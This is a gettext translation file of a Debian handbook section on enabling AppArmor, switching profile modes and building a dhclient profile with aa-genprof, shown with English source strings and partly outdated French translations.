msgstr "Activer AppArmor et gérer les profils"

#, fuzzy
#| msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing a few packages and adding some parameters to the kernel command line:"
msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges."
msgstr "Le support d'AppArmor est intégré aux noyaux standards fournis par Debian. Pour activer AppArmor, il suffira donc d'installer quelques paquets et d'ajouter quelques paramètres à la ligne de commande du noyau :"

#, fuzzy
#| msgid "After a reboot, AppArmor is now functional and <command>aa-status</command> will confirm it quickly:"
msgid "AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:"
msgstr "Après un redémarrage, AppArmor sera opérationnel, ce que confirmera <command>aa-status</command> :"

#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
#| "<computeroutput>apparmor module is loaded.\n"
#| "44 profiles are loaded.\n"
#| "9 profiles are in enforce mode.\n"
#| "   /usr/bin/lxc-start\n"
#| "   /usr/lib/chromium-browser/chromium-browser//browser_java\n"
#| "[...]\n"
#| "35 profiles are in complain mode.\n"
#| "   /sbin/klogd\n"
#| "[...]\n"
#| "3 processes have profiles defined.\n"
#| "1 processes are in enforce mode.\n"
#| "   /usr/sbin/libvirtd (1295) \n"
#| "2 processes are in complain mode.\n"
#| "   /usr/sbin/avahi-daemon (941) \n"
#| "   /usr/sbin/avahi-daemon (1000) \n"
#| "0 processes are unconfined but have a profile defined.</computeroutput>"
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
"<computeroutput>apparmor module is loaded.\n"
"40 profiles are loaded.\n"
"23 profiles are in enforce mode.\n"
"   /usr/bin/evince\n"
"   /usr/bin/evince-previewer\n"
"[...]\n"
"17 profiles are in complain mode.\n"
"   /usr/sbin/dnsmasq\n"
"[...]\n"
"14 processes have profiles defined.\n"
"12 processes are in enforce mode.\n"
"   /usr/bin/evince (3462)\n"
"[...]\n"
"2 processes are in complain mode.\n"
"   /usr/sbin/avahi-daemon (429) avahi-daemon\n"
"   /usr/sbin/avahi-daemon (511) avahi-daemon\n"
"0 processes are unconfined but have a profile defined.</computeroutput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
"<computeroutput>apparmor module is loaded.\n"
"44 profiles are loaded.\n"
"9 profiles are in enforce mode.\n"
"   /usr/bin/lxc-start\n"
"   /usr/lib/chromium-browser/chromium-browser//browser_java\n"
"[...]\n"
"35 profiles are in complain mode.\n"
"   /sbin/klogd\n"
"[...]\n"
"3 processes have profiles defined.\n"
"1 processes are in enforce mode.\n"
"   /usr/sbin/libvirtd (1295) \n"
"2 processes are in complain mode.\n"
"   /usr/sbin/avahi-daemon (941) \n"
"   /usr/sbin/avahi-daemon (1000) \n"
"0 processes are unconfined but have a profile defined.</computeroutput>"

msgid "<emphasis>NOTE</emphasis> More AppArmor profiles"
msgstr "<emphasis>NOTE</emphasis> Autres profils AppArmor"

msgid "The <emphasis role=\"pkg\">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role=\"pkg\">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian."
msgstr "Le paquet <emphasis role=\"pkg\">apparmor-profiles</emphasis> contient des profils développés par la communauté amont d'AppArmor. Pour en obtenir d'autres encore, il est possible d'installer <emphasis role=\"pkg\">apparmor-profiles-extra</emphasis>, qui contient des profils développés par Ubuntu et Debian."

#, fuzzy
#| msgid "The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionaly a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>."
msgid "The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>."
msgstr "Le statut de chaque profil peut être basculé entre les modes strict et relâché, avec les commandes <command>aa-enforce</command> et <command>aa-complain</command>, en leur passant en paramètre soit le chemin de l'exécutable concerné, soit le chemin du fichier de profil. Il est également possible de désactiver complètement un profil avec <command>aa-disable</command>, ou de le basculer en mode audit (de sorte qu'il enregistre dans les journaux même les appels système acceptés) avec <command>aa-audit</command>."

#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>aa-enforce /usr/sbin/avahi-daemon</userinput>\n"
#| "<computeroutput>Setting /usr/sbin/avahi-daemon to enforce mode.</computeroutput>\n"
#| "<computeroutput># </computeroutput><userinput>aa-complain /etc/apparmor.d/usr.bin.lxc-start</userinput>\n"
#| "<computeroutput>Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.</computeroutput>\n"
#| "      "
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-enforce /usr/bin/pidgin</userinput>\n"
"<computeroutput>Setting /usr/bin/pidgin to enforce mode.</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>aa-complain /usr/sbin/dnsmasq</userinput>\n"
"<computeroutput>Setting /usr/sbin/dnsmasq to complain mode.</computeroutput>\n"
"      "
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-enforce /usr/sbin/avahi-daemon</userinput>\n"
"<computeroutput>Setting /usr/sbin/avahi-daemon to enforce mode.</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>aa-complain /etc/apparmor.d/usr.bin.lxc-start</userinput>\n"
"<computeroutput>Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.</computeroutput>\n"
"      "

msgid "Creating a new profile"
msgstr "Créer un nouveau profil"

msgid "Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses."
msgstr "Bien qu'il soit assez simple de créer un profil AppArmor, peu de programmes en fournissent un. Cette section montre comment créer un nouveau profil depuis zéro, simplement en utilisant le programme visé et en indiquant à AppArmor de surveiller les appels système qu'il passe et les ressources qu'il utilise."

msgid "The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection."
msgstr "Les programmes qui devront être confinés en priorité sont ceux qui font face au réseau, car ce sont eux qui seront les cibles les plus alléchantes pour des attaquants distants. C'est précisément dans ce but qu'AppArmor fournit une commande <command>aa-unconfined</command>, qui liste les programmes qui, sans avoir de profil associé, exposent quand même un port de communication. L'option <literal>--paranoid</literal> liste même tous les processus non confinés qui ont au moins une connexion réseau ouverte."

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
"<computeroutput>801 /sbin/dhclient not confined\n"
"409 /usr/sbin/NetworkManager not confined\n"
"411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'\n"
"429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'\n"
"516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'\n"
"538 /usr/sbin/zebra not confined\n"
"591 /usr/sbin/named not confined\n"
"847 /usr/sbin/mysqld not confined\n"
"849 /usr/sbin/sshd not confined\n"
"1013 /usr/sbin/dhclient (/sbin/dhclient) not confined\n"
"1276 /usr/sbin/apache2 not confined\n"
"1322 /usr/sbin/apache2 not confined\n"
"1323 /usr/sbin/apache2 not confined\n"
"1324 /usr/sbin/apache2 not confined\n"
"1325 /usr/sbin/apache2 not confined\n"
"1327 /usr/sbin/apache2 not confined\n"
"1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'\n"
"2132 /usr/sbin/exim4 not confined\n"
"12865 /usr/bin/python3.7 (/usr/bin/python3) not confined\n"
"12873 /usr/bin/python3.7 (/usr/bin/python3) not confined</computeroutput>\n"
"      "
msgstr ""

#, fuzzy
#| msgid "In the following example, we will thus try to create a profile for <command>/sbin/dhclient</command>. For this we will use <command>aa-genprof dhclient</command>. It will invite you to use the application in another window and when done to come back to <command>aa-genprof</command> to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgid "In the following example, we will thus try to create a profile for <command>/sbin/dhclient</command>. For this we will use <command>aa-genprof dhclient</command>. In Debian <emphasis role=\"distribution\">Buster</emphasis> there is a known bug<footnote><para><ulink url=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160\" /></para></footnote> that makes the previous command fail with the following error: <computeroutput>ERROR: Include file /etc/apparmor.d/local/usr.lib.dovecot.deliver not found</computeroutput>. To fix it create the missing files with <command>touch <replaceable>file</replaceable></command>. It will invite you to use the application in another window and when done to come back to <command>aa-genprof</command> to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgstr "Dans l'exemple suivant, nous allons nous atteler à créer un profil pour <command>/sbin/dhclient</command>. Nous allons pour cela utiliser la commande <command>aa-genprof dhclient</command>, qui nous invite à utiliser l'application (dans une autre fenêtre) et à revenir à <command>aa-genprof</command> une fois que c'est fait, pour scruter les journaux à la recherche d'événements AppArmor et convertir ces journaux en règles de contrôle d'accès. Pour chaque événement enregistré, une ou plusieurs suggestions de règles seront proposées, et il sera possible de les approuver telles quelles ou de les modifier de diverses manières :"

#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
#| "<computeroutput>Writing updated profile for /sbin/dhclient.\n"
#| "Setting /sbin/dhclient to complain mode.\n"
#| "\n"
#| "Before you begin, you may wish to check if a\n"
#| "profile already exists for the application you\n"
#| "wish to confine. See the following wiki page for\n"
#| "more information:\n"
#| "http://wiki.apparmor.net/index.php/Profiles\n"
#| "\n"
#| "Please start the application to be profiled in\n"
#| "another window and exercise its functionality now.\n"
#| "\n"
#| "Once completed, select the \"Scan\" option below in \n"
#| "order to scan the system logs for AppArmor events. \n"
#| "\n"
#| "For each AppArmor event, you will be given the \n"
#| "opportunity to choose whether the access should be \n"
#| "allowed or denied.\n"
#| "\n"
#| "Profiling: /sbin/dhclient\n"
#| "\n"
#| "[(S)can system log for AppArmor events] / (F)inish\n"
#| "Reading log entries from /var/log/audit/audit.log.\n"
#| "\n"
#| "Profile:  /sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
#| "Execute:  /usr/lib/NetworkManager/nm-dhcp-helper\n"
#| "Severity: unknown\n"
#| "\n"
#| "(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
#| "<userinput>P</userinput>\n"
#| "Should AppArmor sanitise the environment when\n"
#| "switching profiles?\n"
#| "\n"
#| "Sanitising environment is more secure,\n"
#| "but some applications depend on the presence\n"
#| "of LD_PRELOAD or LD_LIBRARY_PATH.\n"
#| "\n"
#| "(Y)es / [(N)o]\n"
#| "<userinput>Y</userinput>\n"
#| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
#| "Complain-mode changes:\n"
#| "WARN: unknown capability: CAP_net_raw\n"
#| "\n"
#| "Profile:    /sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
#| "Capability: net_raw\n"
#| "Severity:   unknown\n"
#| "\n"
#| "[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
#| "<userinput>A</userinput>\n"
#| "Adding capability net_raw to profile.\n"
#| "\n"
#| "Profile:  /sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
#| "Path:     /etc/nsswitch.conf\n"
#| "Mode:     r\n"
#| "Severity: unknown\n"
#| "\n"
#| "  1 - #include &lt;abstractions/apache2-common&gt; \n"
#| "  2 - #include &lt;abstractions/libvirt-qemu&gt; \n"
#| "  3 - #include &lt;abstractions/nameservice&gt; \n"
#| "  4 - #include &lt;abstractions/totem&gt; \n"
#| " [5 - /etc/nsswitch.conf]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>3</userinput>\n"
#| "\n"
#| "Profile:  /sbin/dhclient\n"
#| "Path:     /etc/nsswitch.conf\n"
#| "Mode:     r\n"
#| "Severity: unknown\n"
#| "\n"
#| "  1 - #include &lt;abstractions/apache2-common&gt; \n"
#| "  2 - #include &lt;abstractions/libvirt-qemu&gt; \n"
#| " [3 - #include &lt;abstractions/nameservice&gt;]\n"
#| "  4 - #include &lt;abstractions/totem&gt; \n"
#| "  5 - /etc/nsswitch.conf \n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding #include &lt;abstractions/nameservice&gt; to profile.\n"
#| "\n"
#| "Profile:  /sbin/dhclient\n"
#| "Path:     /proc/7252/net/dev\n"
#| "Mode:     r\n"
#| "Severity: 6\n"
#| "\n"
#| "  1 - /proc/7252/net/dev \n"
#| " [2 - /proc/*/net/dev]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding /proc/*/net/dev r to profile\n"
#| "\n"
#| "[...]\n"
#| "Profile:  /sbin/dhclient <co id=\"aa-genprof-write\"></co>\n"
#| "Path:     /run/dhclient-eth0.pid\n"
#| "Mode:     w\n"
#| "Severity: unknown\n"
#| "\n"
#| " [1 - /run/dhclient-eth0.pid]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>N</userinput>\n"
#| "\n"
#| "Enter new path: /run/dhclient*.pid\n"
#| "\n"
#| "Profile:  /sbin/dhclient\n"
#| "Path:     /run/dhclient-eth0.pid\n"
#| "Mode:     w\n"
#| "Severity: unknown\n"
#| "\n"
#| "  1 - /run/dhclient-eth0.pid \n"
#| " [2 - /run/dhclient*.pid]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding /run/dhclient*.pid w to profile\n"
#| "\n"
#| "[...]\n"
#| "Profile:  /usr/lib/NetworkManager/nm-dhcp-helper <co id=\"aa-genprof-other-profile\"></co>\n"
#| "Path:     /proc/filesystems\n"
#| "Mode:     r\n"
#| "Severity: 6\n"
#| "\n"
#| " [1 - /proc/filesystems]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding /proc/filesystems r to profile\n"
#| "\n"
#| "= Changed Local Profiles =\n"
#| "\n"
#| "The following local profiles were changed. Would you like to save them?\n"
#| "\n"
#| " [1 - /sbin/dhclient]\n"
#| "  2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
#| "(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
#| "<userinput>S</userinput>\n"
#| "Writing updated profile for /sbin/dhclient.\n"
#| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
#| "\n"
#| "Profiling: /sbin/dhclient\n"
#| "\n"
#| "[(S)can system log for AppArmor events] / (F)inish\n"
#| "<userinput>F</userinput>\n"
#| "Setting /sbin/dhclient to enforce mode.\n"
#| "Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
#| "\n"
#| "Reloaded AppArmor profiles in enforce mode.\n"
#| "\n"
#| "Please consider contributing your new profile!\n"
#| "See the following wiki page for more information:\n"
#| "http://wiki.apparmor.net/index.php/Profiles\n"
#| "\n"
#| "Finished generating profile for /sbin/dhclient.</computeroutput>"
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
"<computeroutput>Writing updated profile for /usr/sbin/dhclient.\n"
"Setting /usr/sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in\n"
"order to scan the system logs for AppArmor events.\n"
"\n"
"For each AppArmor event, you will be given the\n"
"opportunity to choose whether the access should be\n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"Reading log entries from /var/log/syslog.\n"
"Updating AppArmor profiles in /etc/apparmor.d.\n"
"\n"
"Profile:  /usr/sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
"Execute:  /usr/sbin/dhclient-script\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"<userinput>P</userinput>\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"(Y)es / [(N)o]\n"
"<userinput>Y</userinput>\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"Complain-mode changes:\n"
"\n"
"Profile:    /usr/sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
"Capability: net_raw\n"
"Severity:   8\n"
"\n"
" [1 - capability net_raw,]\n"
"[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding capability net_raw to profile.\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Capability: net_bind_service\n"
"Severity:   8\n"
"\n"
" [1 - #include &lt;abstractions/nis&gt; ]\n"
"  2 - capability net_bind_service,\n"
"(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding #include &lt;abstractions/nis&gt; to profile.\n"
"\n"
"Profile:  /usr/sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
"Path:     /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" [1 - #include &lt;abstractions/lightdm&gt;]\n"
"  2 - #include &lt;abstractions/openssl&gt;\n"
"  3 - #include &lt;abstractions/ssl_keys&gt;\n"
"  4 - owner /etc/ssl/openssl.cnf r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"<userinput>2</userinput>\n"
"\n"
"Profile:  /usr/sbin/dhclient\n"
"Path:     /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
"  1 - #include &lt;abstractions/lightdm&gt;\n"
" [2 - #include &lt;abstractions/openssl&gt;]\n"
"  3 - #include &lt;abstractions/ssl_keys&gt;\n"
"  4 - owner /etc/ssl/openssl.cnf r,\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"[...]\n"
"Profile:  /usr/sbin/dhclient-script <co id=\"aa-genprof-other-profile\"></co>\n"
"Path:     /usr/bin/dash\n"
"New Mode: owner r\n"
"Severity: unknown\n"
"\n"
" [1 - #include &lt;abstractions/lightdm&gt;]\n"
"  2 - #include &lt;abstractions/ubuntu-browsers.d/plugins-common&gt;\n"
"  3 - owner /usr/bin/dash r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding #include &lt;abstractions/lightdm&gt; to profile.\n"
"Deleted 2 previous matching profile entries.\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /usr/sbin/dhclient]\n"
"  2 - /usr/sbin/dhclient-script\n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"<userinput>S</userinput>\n"
"Writing updated profile for /usr/sbin/dhclient.\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in\n"
"order to scan the system logs for AppArmor events.\n"
"\n"
"For each AppArmor event, you will be given the\n"
"opportunity to choose whether the access should be\n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"<userinput>F</userinput>\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Finished generating profile for /usr/sbin/dhclient.</computeroutput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
"<computeroutput>Writing updated profile for /sbin/dhclient.\n"
"Setting /sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in \n"
"order to scan the system logs for AppArmor events. \n"
"\n"
"For each AppArmor event, you will be given the \n"
"opportunity to choose whether the access should be \n"
"allowed or denied.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"Reading log entries from /var/log/audit/audit.log.\n"
"\n"
"Profile:  /sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
"Execute:  /usr/lib/NetworkManager/nm-dhcp-helper\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"<userinput>P</userinput>\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"(Y)es / [(N)o]\n"
"<userinput>Y</userinput>\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"Complain-mode changes:\n"
"WARN: unknown capability: CAP_net_raw\n"
"\n"
"Profile:    /sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
"Capability: net_raw\n"
"Severity:   unknown\n"
"\n"
"[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding capability net_raw to profile.\n"
"\n"
"Profile:  /sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
"Path:     /etc/nsswitch.conf\n"
"Mode:     r\n"
"Severity: unknown\n"
"\n"
"  1 - #include &lt;abstractions/apache2-common&gt; \n"
"  2 - #include &lt;abstractions/libvirt-qemu&gt; \n"
"  3 - #include &lt;abstractions/nameservice&gt; \n"
"  4 - #include &lt;abstractions/totem&gt; \n"
" [5 - /etc/nsswitch.conf]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>3</userinput>\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Path:     /etc/nsswitch.conf\n"
"Mode:     r\n"
"Severity: unknown\n"
"\n"
"  1 - #include &lt;abstractions/apache2-common&gt; \n"
"  2 - #include &lt;abstractions/libvirt-qemu&gt; \n"
" [3 - #include &lt;abstractions/nameservice&gt;]\n"
"  4 - #include &lt;abstractions/totem&gt; \n"
"  5 - /etc/nsswitch.conf \n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding #include &lt;abstractions/nameservice&gt; to profile.\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Path:     /proc/7252/net/dev\n"
"Mode:     r\n"
"Severity: 6\n"
"\n"
"  1 - /proc/7252/net/dev \n"
" [2 - /proc/*/net/dev]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /proc/*/net/dev r to profile\n"
"\n"
"[...]\n"
"Profile:  /sbin/dhclient <co id=\"aa-genprof-write\"></co>\n"
"Path:     /run/dhclient-eth0.pid\n"
"Mode:     w\n"
"Severity: unknown\n"
"\n"
" [1 - /run/dhclient-eth0.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>N</userinput>\n"
"\n"
"Enter new path: /run/dhclient*.pid\n"
"\n"
"Profile:  /sbin/dhclient\n"
"Path:     /run/dhclient-eth0.pid\n"
"Mode:     w\n"
"Severity: unknown\n"
"\n"
"  1 - /run/dhclient-eth0.pid \n"
" [2 - /run/dhclient*.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /run/dhclient*.pid w to profile\n"
"\n"
"[...]\n"
"Profile:  /usr/lib/NetworkManager/nm-dhcp-helper <co id=\"aa-genprof-other-profile\"></co>\n"
"Path:     /proc/filesystems\n"
"Mode:     r\n"
"Severity: 6\n"
"\n"
" [1 - /proc/filesystems]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /proc/filesystems r to profile\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /sbin/dhclient]\n"
"  2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"<userinput>S</userinput>\n"
"Writing updated profile for /sbin/dhclient.\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"<userinput>F</userinput>\n"
"Setting /sbin/dhclient to enforce mode.\n"
"Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
"\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Finished generating profile for /sbin/dhclient.</computeroutput>"

msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation I have included them in the previous transcript."
msgstr "Il faut noter que le programme n'affiche pas les caractères de contrôle tapés ; nous les avons inclus dans la transcription ci-dessus pour clarifier les choses."

msgid "The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice)."
msgstr "Le premier événement détecté est l'exécution d'un autre programme. Dans ce cas, plusieurs choix s'offrent à nous : on peut soit lancer le programme avec le profil du programme parent <foreignphrase>(Inherit)</foreignphrase>, soit le lancer avec un profil dédié (<foreignphrase>Profile</foreignphrase> et <foreignphrase>Name</foreignphrase>, qui ne diffèrent que par la possibilité de choisir un nom de profil arbitraire), soit le lancer avec un sous-profil du processus parent <foreignphrase>(Child)</foreignphrase>, soit le lancer sans aucun profil <foreignphrase>(Unconfined)</foreignphrase>, soit ne pas le lancer du tout <foreignphrase>(Deny)</foreignphrase>."

msgid "Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run."
msgstr "À noter que lorsque l'on choisit de lancer le processus fils selon un profil dédié mais qui n'existe pas encore, l'outil va créer le profil manquant, et proposer des suggestions de règles par la même occasion."

msgid "At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability."
msgstr "Au niveau du noyau, les pouvoirs spéciaux de l'utilisateur root ont été séparés en « capacités ». Lorsqu'un appel système a besoin d'une capacité spécifique, AppArmor va vérifier que le profil permet au programme d'utiliser cette capacité."

#, fuzzy
#| msgid "Here the program seeks read permissions for <filename>/etc/nsswitch.conf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “3” to first select the “#include &lt;abstractions/nameservice&gt;” choice and then “A” to allow it."
